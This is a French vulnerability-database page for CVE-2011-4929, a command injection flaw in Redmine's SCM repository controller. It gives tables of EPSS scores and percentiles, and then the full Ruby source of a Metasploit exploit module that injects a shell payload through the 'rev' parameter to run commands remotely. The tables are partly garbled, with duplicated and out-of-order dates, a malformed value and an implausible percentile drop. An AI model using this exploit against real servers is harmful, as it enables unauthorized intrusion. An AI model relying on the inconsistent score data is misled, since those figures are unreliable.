CVE-2011-4929 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	78.27%	–	–
2022-03-13	–	–	76.69%	–	–
2022-06-19	–	–	75.35%	–	–
2022-09-25	–	–	73.6%	–	–
2022-12-25	–	–	73.02%	–	–
2023-03-12	–	–	–	96.79%	–
2023-04-30	–	–	–	96.54%	–
2023-07-02	–	–	–	96.57%	–
2023-09-03	–	–	–	96.54%	–
2023-11-05	–	–	–	96.4%	–
2024-01-07	–	–	–	96.08%	–
2024-02-11	–	–	–	95.79%	–
2024-03-17	–	–	–	95.94%	–
2024-04-14	–	–	–	95.92%	–
2024-06-02	–	–	–	96.35%	–
2024-07-28	–	–	–	96.26%	–
2024-09-22	–	–	–	96.14%	–
2024-12-22	–	–	–	95.33%	–
2025-02-16	–	–	–	95.38%	–
2025-01-19	–	–	–	95.33%	–
2025-02-16	–	–	–	95.38%	–
2025-03-18	–	–	–	–	73.61%
2025-03-18	–	–	–	–	73.61,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2022-03-13	99%
2022-06-19	99%
2022-09-25	99%
2022-12-25	99%
2023-03-12	99%
2023-04-30	99%
2023-07-02	99%
2023-09-03	99%
2023-11-05	99%
2024-01-07	99%
2024-02-11	99%
2024-03-17	99%
2024-04-14	99%
2024-06-02	1%
2024-07-28	1%
2024-09-22	1%
2024-12-22	1%
2025-02-16	1%
2025-01-19	1%
2025-02-16	1%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Redmine SCM Repository Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the Redmine repository controller. The flaw is triggered when a rev parameter is passed to the command line of the SCM tool without adequate filtering. }, 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2011-4929'], ['OSVDB', '70090'], ['URL', 'http://www.redmine.org/news/49' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', #'RequiredCmd' => 'generic telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 19 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]), ], self.class) end def exploit command = Rex::Text.uri_encode(payload.encoded) urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") else print_status("No response from the server") end handler end end